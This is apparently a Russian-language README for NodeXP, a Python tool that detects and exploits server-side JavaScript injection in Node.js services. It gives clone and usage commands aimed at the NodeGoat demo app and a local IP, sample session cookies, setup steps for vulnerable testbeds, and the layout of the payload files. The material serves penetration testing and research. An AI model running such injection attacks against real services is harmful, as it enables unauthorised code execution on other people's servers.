
NodeXP - Инструмент для инъекций на стороне сервера JavaScript, способный обнаруживать и эксплуатировать уязвимости Node.js
NodeXP — это интегрированный инструмент, написанный на Python 2.7, способный обнаруживать возможные уязвимости в Node.js сервисах, а также эксплуатировать их в автоматическом режиме на основе атаки S(erver)S(ide)J(avascript)I(njection) (SSJI)!
Скачайте NodeXP, клонировав Git-репозиторий:
git clone https://github.com/esmog/nodexp
Чтобы получить список всех опций, выполните:
python2.7 nodexp -h
Примеры для POST и GET случаев соответственно:
python2.7 nodexp.py --url="http://nodegoat.herokuapp.com/contributions" --pdata="preTax=[INJECT_HERE]" -c="connect.sid=s:i6fKU7kSLPX1l00WkOxDmEfncptcZP1v.fy9whjYW0fGAvbavzYSBz1C2ZhheDuQ1SU5qpgVzbTA"
python2.7 nodexp.py --url="http://nodegoat.herokuapp.com/contributions" --pdata="preTax=[INJECT_HERE]" -c="connect.sid=s:i6fKU7kSLPX1l00WkOxDmEfncptcZP1v.fy9whjYW0fGAvbavzYSBz1C2ZhheDuQ1SU5qpgVzbTA" --tech=blind
python2.7 nodexp.py --url="http://192.168.64.30/?name=[INJECT_HERE]" -c="connect.sid=s:i6fKU7kSLPX1l00WkOxDmEfncptcZP1v.fy9whjYW0fGAvbavzYSBz1C2ZhheDuQ1SU5qpgVzbTA"
python2.7 nodexp.py --url="http://192.168.64.30/?name=[INJECT_HERE]" -c="connect.sid=s:i6fKU7kSLPX1l00WkOxDmEfncptcZP1v.fy9whjYW0fGAvbavzYSBz1C2ZhheDuQ1SU5qpgVzbTA" --tech=blind
Чтобы ознакомиться с NodeXP, вам может потребоваться настроить предоставленные тестовые сервисы Node.js (/testbeds) и начать использовать инструмент. Потребуется локальная машина с запущенным сервером Node.js.
Сначала установите пакеты body-parser и express в каталогах GET и POST.
Перейдите в каталог testbeds/GET на вашей локальной машине и вставьте команду ниже в терминал:
npm install express --save
Перейдите в каталог testbeds/POST и вставьте команды ниже в терминал:
npm install body-parser --save
nmp install express --save
После правильной установки пакетов вы можете запустить каждый сервис, выполнив команду node и нужный js-файл (например, node eval.js).
Когда ваш сервер будет запущен и заработает, вы готовы запустить NodeXP и протестировать его на этих сервисах!
Пример для GET случая показан ниже:
python2.7 nodexp.py --url=http://localiprunningnodejsserver:3001/?name=[INJECT_HERE]
Пример для POST случая показан ниже:
python2.7 nodexp.py --url=http://localiprunningnodejsserver:3001/post.js --pdata=username=[INJECT_HERE]
Полезные нагрузки, используемые как для слепой (Blind), так и для основанной на результатах (Results Based) техники внедрения, хранятся в файлах /files/blind_payloads.txt и /files/payloads.txt.
Полезные нагрузки записываются в каждой нечетной строке текстовых файлов, а в случае Results Based Injection их ожидаемые ответы записываются в каждой четной строке файла payloads.txt в виде списка, разделенного запятыми. Четные строки файла blind_payloads.txt пусты.
Чтобы остановить процесс внедрения, используется ---end(nextline)---end в качестве разделителя, способного прекратить разбор и внедрение полезных нагрузок как для случая Blind, так и для Result Based Injection.
Каждый пользователь может обслуживать и обновлять txt-файлы полезных нагрузок своими собственными нагрузками, следуя указанным выше инструкциям.
Цель инструмента строго академическая, и он был разработан для проведения моей магистерской диссертации. Он также может быть полезен в процессе тестирования на проникновение сервисов Node.js. Любое другое вредоносное или нелегальное использование инструмента настоятельно не рекомендуется и явно не является частью цели этого исследования.
NodeXP - Version 1.2.2